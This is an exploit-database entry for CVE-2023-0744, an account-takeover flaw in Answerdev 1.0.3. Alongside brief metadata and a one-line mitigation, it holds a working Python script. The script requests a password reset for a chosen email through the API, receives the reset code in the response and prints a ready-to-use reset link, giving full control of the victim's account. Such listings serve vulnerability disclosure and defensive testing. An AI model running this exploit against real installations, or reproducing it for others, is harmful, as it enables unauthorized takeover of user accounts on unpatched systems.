Answerdev 1.0.3 - Account Takeover

vendor:

Answer

by:

Eduardo Pérez-Malumbres Cervera

9.8

CVSS

CRITICAL

Account Takeover

284

CWE

Product Name: Answer

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: NO

Related CWE: CVE-2023-0744

CPE: answerdev

Metasploit:

Platforms Tested: Ubuntu 22.04 / Debian 11

2023

Answerdev 1.0.3 – Account Takeover

Answerdev 1.0.3 is vulnerable to an account takeover vulnerability. An attacker can exploit this vulnerability by sending a malicious request to the application's API endpoint to reset the password of a user. This will allow the attacker to gain access to the user's account.

Mitigation:

The application should implement proper authentication and authorization mechanisms to prevent unauthorized access to the application's API endpoints.

Source

Exploit-DB raw data:

# Exploit Title: Answerdev 1.0.3 - Account Takeover 
# Date: Reported on Jan 24th 2023
# Exploit Author: Eduardo Pérez-Malumbres Cervera @blueudp
# Vendor Homepage: https://answer.dev/
# Software Link: https://github.com/answerdev/answer
# Version: 1.0.3
# Tested on: Ubuntu 22.04 / Debian 11
# CVE : CVE-2023-0744


from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"


if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ myemail@localhost.com")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))